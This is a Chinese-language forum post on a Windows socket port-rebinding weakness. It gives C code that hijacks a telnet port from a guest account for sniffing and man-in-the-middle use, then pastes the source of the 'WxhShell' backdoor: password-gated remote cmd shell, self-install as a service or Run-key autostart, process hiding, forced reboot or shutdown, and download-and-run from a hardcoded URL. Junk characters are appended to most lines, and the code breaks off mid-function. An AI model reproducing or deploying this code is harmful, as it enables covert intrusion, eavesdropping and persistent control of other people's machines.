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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7* ^\mycv  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6luCi$bL  
)QaJYC^+  
  saddr.sin_family = AF_INET; 0$ &Z_oJ  
?`\<t$M  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); :<ujk  
\UJ:PW$7  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); o&*1Mx<+  
wx(| $2{h  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 NNutpA}s  
x:;8U i"&B  
  这意味着什么?意味着可以进行如下的攻击: UOF5&>MLb  
Pc? d@tm  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |Uy hH^  
(h/v"dV;  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) e@k ti@ZJ  
-sO EL{  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %Iv+Y$'3B  
Xa<siA{  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  FlVGi3  
|\?-k  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 g_>)Q  
Ew4DumI  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 RZ|s[b U  
$q.8ve0&^  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $+JaEF`8  
VbBZ\`b  
  #include :Iwe>;}  
  #include aU4'_%Y@  
  #include nImRU.;P  
  #include    PKdM-R'Z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   o [ar.+[  
  int main() *KxV;H8/  
  { }E8 Y,;fTD  
  WORD wVersionRequested; PhKJ#D Rbr  
  DWORD ret; D6bCC; h=  
  WSADATA wsaData; 'ycs{}'  
  BOOL val; k>VP<Zm13  
  SOCKADDR_IN saddr; ),bdj+wr78  
  SOCKADDR_IN scaddr; /J{P8=x}_:  
  int err; uHz D  
  SOCKET s; f(D?g  
  SOCKET sc; U <4<8'  
  int caddsize; M/d!&Bk  
  HANDLE mt; SL%4w<  
  DWORD tid;   zCO5 `%14  
  wVersionRequested = MAKEWORD( 2, 2 ); *PL+)2ob  
  err = WSAStartup( wVersionRequested, &wsaData ); zd#qBj]g  
  if ( err != 0 ) { 3p!R4f)GN  
  printf("error!WSAStartup failed!\n"); jE2ziK  
  return -1; J[LGa:``  
  } _z,/!>J  
  saddr.sin_family = AF_INET; Y0|~]J(B  
   .vQ2w  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Yz-b~D/=}  
e"^1- U\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); MB^ b)\X  
  saddr.sin_port = htons(23); e yTYg  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Gjy'30IF  
  { pPQ]#v  
  printf("error!socket failed!\n"); 'O\K Wj{  
  return -1; Dvd.Q/f  
  } f=/S]o4/3  
  val = TRUE; (nBJ,v)  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 1%EY!14G+  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ?_<ZCH  
  { :Oq!.uO  
  printf("error!setsockopt failed!\n"); ~Gwn||g78  
  return -1; gvA&F |4  
  } *WMcE$w/D  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?0'bf y]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 |C>Yd*E,C  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 H7qda' %>  
VJ_E]}H  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9Eg'=YJ  
  { rX;(48Y  
  ret=GetLastError(); X$JKEW;0BP  
  printf("error!bind failed!\n"); 2vj)3%:7#E  
  return -1; c$uV8_V  
  } & NOKrN~HX  
  listen(s,2); <YJU?G:@  
  while(1) Yl-09)7s  
  { 5^* d4[&+  
  caddsize = sizeof(scaddr); X/gh>MJJ<  
  //接受连接请求 ",Q\A I  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !EpP-bq'*  
  if(sc!=INVALID_SOCKET) >2VB.f  
  { d8]6<\g  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6"_FjS3Sl  
  if(mt==NULL) qx_+mCZ  
  { vj{h*~  
  printf("Thread Creat Failed!\n"); r T* :1  
  break; []LNNO],X  
  } D eXnE$XH  
  } a |z{B b  
  CloseHandle(mt); $: Qi9N   
  }  KsUsj3J  
  closesocket(s); %j^=  
  WSACleanup(); 1Ll@ ocE  
  return 0; 9^ mrsj  
  }   f0wQn09  
  DWORD WINAPI ClientThread(LPVOID lpParam) v`Sllv5bV  
  { rxa8X wo8  
  SOCKET ss = (SOCKET)lpParam; _HGDqj L  
  SOCKET sc; hrcR"OZ~X  
  unsigned char buf[4096]; ?c>j^}A/N  
  SOCKADDR_IN saddr; d>vGx  
  long num; l'3NiIX  
  DWORD val; 2@e<II2ha8  
  DWORD ret; (5G^"Srw  
  //如果是隐藏端口应用的话,可以在此处加一些判断 %f{kT<XHu  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   e j!C^  
  saddr.sin_family = AF_INET; 1Ete;r%5=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); x5PQ9Bw,  
  saddr.sin_port = htons(23); "F%cn@l  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) vRT1tOQ$  
  { jr!x)yd  
  printf("error!socket failed!\n"); )C|>M'g@v  
  return -1; )}u.b-Nt.  
  } +(|T\%$DT  
  val = 100; '{OZ[$E  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {mkYW-4Se  
  { vV=$N"bT~  
  ret = GetLastError(); SrHRpxy  
  return -1; 7Bmt^J5i&t  
  } C'5i>;  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) eU{=x$o6S  
  { MWhFNfS8=  
  ret = GetLastError(); 3s>& h-E  
  return -1; r."Dc  
  } F*I{?NRN1  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) xQJdt $]U@  
  { %?RX}37K  
  printf("error!socket connect failed!\n"); Q*KEODR8\  
  closesocket(sc); Sm,%>  
  closesocket(ss); ,GR(y^S  
  return -1; iY*Xm,#  
  } 9IIe:  
  while(1) *;o=hM)Tp  
  { p=7kFv  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 *AxKV5[H  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 \:" s*-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Bxm^Arc>  
  num = recv(ss,buf,4096,0); elP`5BuN  
  if(num>0) 40q8,M  
  send(sc,buf,num,0); U 2\{ ( y  
  else if(num==0) NO9Jre  
  break; ?}lCS7&  
  num = recv(sc,buf,4096,0); ]qv/+~Qs>  
  if(num>0) ?,s{M^sj^  
  send(ss,buf,num,0); &OuyjW4  
  else if(num==0) t3bDi/m  
  break; YQYN.\  
  } !-2 S(8  
  closesocket(ss); ~yO.R)4v  
  closesocket(sc); # <&=ZLN  
  return 0 ; \ =83#*KK  
  } =2`s Uw}  
0]NsT0M  
UGR5ILf  
========================================================== l<qxr.X  
ZC0F:=/K  
下边附上一个代码,,WXhSHELL Re.fS6y$>  
=ohdL_6  
========================================================== Ye(0'*-jyc  
M)3h 4yQ  
#include "stdafx.h" D;:lw]  
5(U.<  
#include <stdio.h> \6@}HFH  
#include <string.h> `CHgTkv  
#include <windows.h> GbZA3.J]yl  
#include <winsock2.h> x28Bz*O  
#include <winsvc.h> ]bS\*q0Zf(  
#include <urlmon.h> nC`=quM9  
0>.'w\,87B  
#pragma comment (lib, "Ws2_32.lib") )EcF[aO  
#pragma comment (lib, "urlmon.lib") +%>L;'L ^X  
][_:{ N/  
#define MAX_USER   100 // 最大客户端连接数 9$d (`-&9p  
#define BUF_SOCK   200 // sock buffer w1s#8:  
#define KEY_BUFF   255 // 输入 buffer ?|8H $1  
Z"E+ TX  
#define REBOOT     0   // 重启 2Jj`7VH>  
#define SHUTDOWN   1   // 关机 du47la 3  
tpCEWdn5  
#define DEF_PORT   5000 // 监听端口 [x)BQX'  
F]Y Pq  
#define REG_LEN     16   // 注册表键长度 VSP[G ,J.  
#define SVC_LEN     80   // NT服务名长度 2gFQHV  
J/ rQ42d  
// 从dll定义API uHwuw_eK`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); My5X%)T>P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :!aFfb["  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); FiFZM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E>7%/TIl  
E2dSOZS:)%  
// wxhshell配置信息 i&?~QQP`  
struct WSCFG { n287@Y4Ru  
  int ws_port;         // 监听端口 & f!!UZMt)  
  char ws_passstr[REG_LEN]; // 口令 x&8?/BR  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~%sDQt\S  
  char ws_regname[REG_LEN]; // 注册表键名 Ob(j_{m  
  char ws_svcname[REG_LEN]; // 服务名 -8TJ~t%w4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  T>LtN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &os* @0h4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]n!pn#Q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no n){\KIU/O  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &, K;F'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]Q)TqwYF  
%Cm4a49FNi  
}; L- =^GNh  
LTJ|EXYA  
// default Wxhshell configuration l?#([(WM  
struct WSCFG wscfg={DEF_PORT, _s=[z$EN&  
    "xuhuanlingzhe", 0 J ANj  
    1, V:l; 2rW  
    "Wxhshell", r2H]n.MT  
    "Wxhshell", *Jp>)>  
            "WxhShell Service", 9]kWM]B)o  
    "Wrsky Windows CmdShell Service", )DoY*'Cl  
    "Please Input Your Password: ", /j.V0%  
  1, ?{^T&<18t  
  "http://www.wrsky.com/wxhshell.exe", ."=Bx2  
  "Wxhshell.exe" =P2T&Gb  
    }; Ak4iG2  
m4kmJaM  
// 消息定义模块 _u.l|yR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zzPgLE55  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ..n-&(c32  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; N-vr_4{g  
char *msg_ws_ext="\n\rExit."; h{>8W0W*  
char *msg_ws_end="\n\rQuit."; !m^WtF  
char *msg_ws_boot="\n\rReboot..."; |@Z QoH  
char *msg_ws_poff="\n\rShutdown..."; H,zRmK6A%  
char *msg_ws_down="\n\rSave to "; Bv/v4(G5g  
i;Gl-b\_h  
char *msg_ws_err="\n\rErr!"; dyg1.n#M}  
char *msg_ws_ok="\n\rOK!"; Ba@UX(t  
z+wBZn{0I  
char ExeFile[MAX_PATH]; (+T|B E3*#  
int nUser = 0; b%pLjvU  
HANDLE handles[MAX_USER]; G =lC[i  
int OsIsNt; -<CBxyZa&  
b/<n:*$   
SERVICE_STATUS       serviceStatus; KqB(W ,$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]l&_Pv!!  
JJ[J'xl@  
// 函数声明 ~Uga=&  
int Install(void); ~9x$tb x-  
int Uninstall(void); ]Ub?Wo7F?  
int DownloadFile(char *sURL, SOCKET wsh); KS%xo6k.  
int Boot(int flag); ;2& (]1X  
void HideProc(void); 'fZHtnmc0  
int GetOsVer(void); X;zy1ZH  
int Wxhshell(SOCKET wsl); 4xg%OH  
void TalkWithClient(void *cs); M|76,2u   
int CmdShell(SOCKET sock); Riu0;U( \  
int StartFromService(void); B;_M52-B  
int StartWxhshell(LPSTR lpCmdLine); yPuT%H&i  
4. R >mN[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l$.C40v  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *Q5/d9B8TN  
|?{Zx&yUw  
// 数据结构和表定义 .}]5y4UQ.  
SERVICE_TABLE_ENTRY DispatchTable[] = N{oD1%  
{ C3WqUf<8`{  
{wscfg.ws_svcname, NTServiceMain}, "TG}aS  
{NULL, NULL} dp-8,Seu  
}; 8'/vW~f  
>_tn7Z0 L  
// 自我安装 $40tAes9  
int Install(void) H?^Poe(=(  
{ CCQ<.iCU  
  char svExeFile[MAX_PATH]; @K2q*d  
  HKEY key; >CNH=  
  strcpy(svExeFile,ExeFile); \$GlB+ iCx  
QnVYZUgJeV  
// 如果是win9x系统,修改注册表设为自启动 :'a |cjq  
if(!OsIsNt) { &o:wSe  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {n2jAR9nq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JZ80|-c  
  RegCloseKey(key); >`\~=ivrD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zJXU>'obe  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mI?AI7DqK  
  RegCloseKey(key); g$ 9Yfu  
  return 0; yj"+!g  
    } k q_B5L?  
  } K^?/  
} s$|GVv1B  
else { ,Q2`N{f  
~ B1)!5Z  
// 如果是NT以上系统,安装为系统服务 M|7xI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /oE@F178  
if (schSCManager!=0) oB#KR1 >%7  
{ f*LDrAf9  
  SC_HANDLE schService = CreateService q>o1kTI  
  ( Kcl>uAgU  
  schSCManager, ( *UMpdj  
  wscfg.ws_svcname, A0 x*feK?  
  wscfg.ws_svcdisp, 45q-x_  
  SERVICE_ALL_ACCESS, p.gi8%f`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , D$!(Iae  
  SERVICE_AUTO_START, 8v5cQ5Lc  
  SERVICE_ERROR_NORMAL, @=isN'>]O  
  svExeFile, *Xn{{  
  NULL, DF P0WXbOE  
  NULL, M&:[3u-  
  NULL, +*mi%)I  
  NULL, /87?U; |V  
  NULL \Om.pOz  
  ); 5@F1E8T  
  if (schService!=0) $0+AR)  
  { )zf&`T  
  CloseServiceHandle(schService); >01&3-r  
  CloseServiceHandle(schSCManager); Zu,rf9LMj  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); AKzhal!  
  strcat(svExeFile,wscfg.ws_svcname); :Bz*vH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .|G([O^H  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;r B2Q H]  
  RegCloseKey(key); dpxP  
  return 0; 6f v{?0|  
    } Q~MV0<{  
  } U\*}}   
  CloseServiceHandle(schSCManager); pIXbr($  
}  ") q  
} LK-2e$1  
)Gi!wm>zvN  
return 1;  <]2X~+v  
} 96fbMP+7R  
6F(;=iY8  
// 自我卸载 ?suxoP%  
int Uninstall(void) /5b,&  
{ :* 4b,P  
  HKEY key; om@GH0o+  
;G |5kvE>  
if(!OsIsNt) { ,qz$6oxh\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ...|S]a  
  RegDeleteValue(key,wscfg.ws_regname); | :7O  
  RegCloseKey(key); :70[zo7n'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (&H-v'a}3  
  RegDeleteValue(key,wscfg.ws_regname); H$bu*o-Z  
  RegCloseKey(key); 8E`A`z  
  return 0; outAZy=R;  
  } Q`j!$r  
} 0<d9al|J  
} *~YU0o  
else { yU<T_&M  
__dSEOGoe  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _r@ FWUZ  
if (schSCManager!=0) v0+mh]  
{ ;~CAHn|Fe  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ve|ig]$5g<  
  if (schService!=0) $Y& 8@/L  
  { plcz m 2  
  if(DeleteService(schService)!=0) { { }Q!./5  
  CloseServiceHandle(schService); OE[| 1?3  
  CloseServiceHandle(schSCManager); tbG^9d  
  return 0; <H03i"Z/S  
  } Ac{"$P`  
  CloseServiceHandle(schService); jrJ!A(<)  
  } u*u3<YQ  
  CloseServiceHandle(schSCManager); 6AD#x7drj  
} X` r~cc  
} | >X5@  
A/:^l%y,GZ  
return 1; =]i[gs)B  
} %P@V7n  
j]Y`L?!Q  
// 从指定url下载文件 82d~>i%T  
int DownloadFile(char *sURL, SOCKET wsh) pbc<326X"  
{ T rK-XTev  
  HRESULT hr; wyWe2d  
char seps[]= "/"; /&1FgSARK  
char *token; k;BXt:jDq  
char *file; Z'=:Bo{  
char myURL[MAX_PATH]; PggjuPPh  
char myFILE[MAX_PATH]; [[ {L#  
t,H=;U#  
strcpy(myURL,sURL); jMFLd  
  token=strtok(myURL,seps); G)5R iRcs  
  while(token!=NULL) sKD sps^$  
  { LkvR]^u0  
    file=token; p6P .I8g  
  token=strtok(NULL,seps); X^Dklqqy  
  } nSR7$yS_  
9=RfGx  
GetCurrentDirectory(MAX_PATH,myFILE); A:Y ([  
strcat(myFILE, "\\"); XM?>#^nC?u  
strcat(myFILE, file); P?WS=w*O0  
  send(wsh,myFILE,strlen(myFILE),0); .t53+<A  
send(wsh,"...",3,0); F{,<6/ayRz  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E^'f'\m  
  if(hr==S_OK) e"g=A=S  
return 0; B L^?1x  
else 5=cS5q@  
return 1; }K F f  
Hst]}g' .  
} *n]f)Jc  
#POVu|Y;h  
// 系统电源模块 :[P)t %  
int Boot(int flag) A?)nLp&Y  
{ kz=Ql|@  
  HANDLE hToken; ZRCm'p3  
  TOKEN_PRIVILEGES tkp; dC,a~`%O  
4zo^ b0v  
  if(OsIsNt) { GQ -fEIi{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]]"O)tWHj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^qR2!fwm<  
    tkp.PrivilegeCount = 1; ,76xa%k(U|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L'A9TW2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }Zuk}Og9+  
if(flag==REBOOT) { {~*^jS']5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I j w{g%  
  return 0; @*>kOZ(3  
} } X|*+<  
else { t,P_&0X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )/87<Y;o  
  return 0; }.DE521u  
} PPpq"c  
  } B r`a;y T  
  else { !{S& "  
if(flag==REBOOT) { h&|PHI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Mn> /\e  
  return 0; F x 4s)(  
} (i2R1HCa  
else { uE'O}Y95  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _ZMAlC*$G  
  return 0; >(.GIR  
} AX{X:L8Ut2  
} GBg~NkC7.  
f$y`tT %o  
return 1; 70Z#Ej  
} j-$F@p_2F  
`>1XL2  
// win9x进程隐藏模块 #];b+ T  
void HideProc(void) Ga$J7 R  
{ NB^+Hcb$  
gc6Zy|^V4`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4>t'4p6{  
  if ( hKernel != NULL ) on^m2pQ *p  
  { \>]C  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4it^-M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w! kWG,{C  
    FreeLibrary(hKernel); x9!3i{_  
  } {r>iUgg  
rGDx9KR4K!  
return; T%Nm  
} '-KYeT\;  
u5Tu~  
// 获取操作系统版本 T9'd?nw9  
int GetOsVer(void) a +$'ULK+r  
{ |O';$a1S  
  OSVERSIONINFO winfo; " ZYdJHM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sF4+(9=  
  GetVersionEx(&winfo); U0J_ 3W  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1OI/,y8}  
  return 1; G(;hJ'LT  
  else ^!v{ >3  
  return 0; ,wYA_1$$H  
} BN>t"9XpW  
ABaK60.O[O  
// 客户端句柄模块 `k;MGs)&  
int Wxhshell(SOCKET wsl) CM`B0[B  
{ =bHS@h8N<  
  SOCKET wsh; V<A$eb>6  
  struct sockaddr_in client; \ 9!hg(-F  
  DWORD myID; -_?U/k(Hi  
x>!bvZ2  
  while(nUser<MAX_USER) '>:c:Tewy  
{ S.,5vI"s,  
  int nSize=sizeof(client); Cm"7f !(#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oniVC',  
  if(wsh==INVALID_SOCKET) return 1; Jk=_8Xvr`  
^&Vj m  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A)%!9i)  
if(handles[nUser]==0) MBn ZO  
  closesocket(wsh); GoUsB|-\  
else [X"pOz  
  nUser++; %o  
  } <p5?yF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 259R5X<V  
+ktubJ@Qgj  
  return 0; =n ff;Xu  
} ss0`9:z  
X#Sgf|$  
// 关闭 socket 0&$,?CL?  
void CloseIt(SOCKET wsh)  MU>6s`6O  
{ 5< $8.a#  
closesocket(wsh); = 9!|%j  
nUser--; k-!Jww  
ExitThread(0); zI.%b7wq  
} BqtUL_jm  
B{tROuN<  
// 客户端请求句柄 f`K[oCfu  
void TalkWithClient(void *cs) 5HC5   
{ Ly P Cc|  
$)#?4v<  
  SOCKET wsh=(SOCKET)cs;  /~1Ew  
  char pwd[SVC_LEN]; ~ ?JN I8  
  char cmd[KEY_BUFF]; PpLuN12H  
char chr[1]; 8|) $;.  
int i,j; N?s`a;Q[=  
Whl^~$+f  
  while (nUser < MAX_USER) { q}|_]R_y  
mJ>msI @  
if(wscfg.ws_passstr) { /T<))@$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hA=}R.gi  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J3QL%#  
  //ZeroMemory(pwd,KEY_BUFF); 3EV?=R  
      i=0; 9<Ks2W.N  
  while(i<SVC_LEN) { ~J![Nx/  
qYP;`L}o#  
  // 设置超时 eh;L])~C  
  fd_set FdRead; 85:KlBe%+  
  struct timeval TimeOut; +5x{|!Pn  
  FD_ZERO(&FdRead); z'01V8e  
  FD_SET(wsh,&FdRead); Y !%2vOt  
  TimeOut.tv_sec=8; :|%1i>O  
  TimeOut.tv_usec=0; 8J)Kn4jq  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZJ8"5RW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }eAV8LU  
25Uw\rKeO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ER,!`C]  
  pwd=chr[0]; Vji:,k=3\  
  if(chr[0]==0xd || chr[0]==0xa) { <nU8.?\?~  
  pwd=0; H7 "r^s]D  
  break; e<$s~ UXv  
  } ^{Fo,7  
  i++; }2hU7YWt  
    } NjbIt=y  
\GPTGi5A  
  // 如果是非法用户,关闭 socket l T#WM]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )kEH}P&  
} {X10,  
3Z}v%=5 "  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Hxx]q+DAS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \SN>Yy  
$ftxid8  
while(1) { N4l}5(e  
aTwBRm  
  ZeroMemory(cmd,KEY_BUFF);  ]&OI.p  
*?pnTQs^  
      // 自动支持客户端 telnet标准   YYhN>d$  
  j=0; ^c]c`w  
  while(j<KEY_BUFF) { n s#v?D9NF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t|m=X  
  cmd[j]=chr[0]; WD@v<Wx)  
  if(chr[0]==0xa || chr[0]==0xd) { H`s[=Y,m  
  cmd[j]=0; ws<p BC,m  
  break; .*B@1q  
  } E[Q2ZqhgbP  
  j++; 0Ibe~!EiQJ  
    } q"i]&dMr  
VCzb[.  
  // 下载文件 z.Vf,<H  
  if(strstr(cmd,"http://")) { .@0@Y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9-Z ?  
  if(DownloadFile(cmd,wsh)) 7Ue&y8Yf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); w7c0jIf{  
  else XS$#\UQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :_|Xr'n`A  
  } >8|V[-H  
  else { D63?f\  
Z*n4$?%W  
    switch(cmd[0]) { qpjiQ,\:b  
  \]0#jI/:  
  // 帮助 C;?<WtH  
  case '?': { \dbaY:(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d;nk>6<|  
    break; J"-/ok(<@  
  } 7 lSR  
  // 安装 &4wwp!J  
  case 'i': { - "EPU]q  
    if(Install()) j\HZ5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #^tnRfS"  
    else JS/~6'uB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oB(9{6@N  
    break; .X5A7 m  
    } F:sUGM,  
  // 卸载 {e5-  
  case 'r': { A2!pbeG  
    if(Uninstall()) M8IU[Pz4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8JXS:J.|v  
    else "xNP"S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i91k0q*di  
    break; TR%8O;  
    } 7m%[$X`  
  // 显示 wxhshell 所在路径 wq|7sk{  
  case 'p': { &dPI<HlM  
    char svExeFile[MAX_PATH]; N85ZbmU~  
    strcpy(svExeFile,"\n\r"); p +nh]  
      strcat(svExeFile,ExeFile);  U02  
        send(wsh,svExeFile,strlen(svExeFile),0); FOhq&\nkU  
    break; qDcoccEf  
    } 3 }3C*w+  
  // 重启 8|nc( $}~  
  case 'b': { x`Wb9[u8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); BSL+Gjj~}  
    if(Boot(REBOOT)) Fkg%_v$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^Rtxef  
    else { c D .;  
    closesocket(wsh); X3] [C  
    ExitThread(0); 9e4`N"#,lI  
    } P$]K  
    break; \;iOQqv0&  
    } L F&!od9[  
  // 关机 E:-~SH}  
  case 'd': { S|T_<FCY  
